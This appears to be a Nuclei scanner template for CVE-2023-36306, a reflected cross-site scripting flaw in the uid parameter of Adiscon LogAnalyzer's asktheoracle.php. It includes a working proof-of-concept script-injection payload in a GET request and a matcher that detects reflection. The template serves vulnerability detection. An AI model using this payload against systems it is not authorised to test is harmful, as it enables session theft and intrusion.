id: CVE-2023-36306

info:
  name: Adiscon LogAnalyzer v.4.1.13 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A Cross Site Scripting (XSS) vulnerability in Adiscon Aiscon LogAnalyzer through 4.1.13 allows a remote attacker to execute arbitrary code via the asktheoracle.php
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the uid parameter in asktheoracle.php, potentially stealing administrator session cookies and accessing sensitive log analysis data.
  remediation: |
    Update Adiscon LogAnalyzer to a version newer than 4.1.13 that properly sanitizes the uid parameter and encodes output in asktheoracle.php.
  reference:
    - https://www.exploit-db.com/exploits/51643
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36306
    cwe-id: CWE-79
    epss-score: 0.05328
    epss-percentile: 0.90161
    cpe: cpe:2.3:a:adiscon:loganalyzer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adiscon
    product: loganalyzer
  tags: cve2023,cve,xss,unauth,exploitdb,adiscon,adiscon-loganalyzer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "Adiscon LogAnalyzer")'
        condition: and
# digest: 490a00463044022074916722fb1e1a7d4033875a05917ab921dc4823d5860e4efd3cf85c78b4328802202eb75dec1efe27239db22932e75614e542b2767f59ad6e736bb93d9a7397cff2:922c64590222798bb761d5b6d8e72950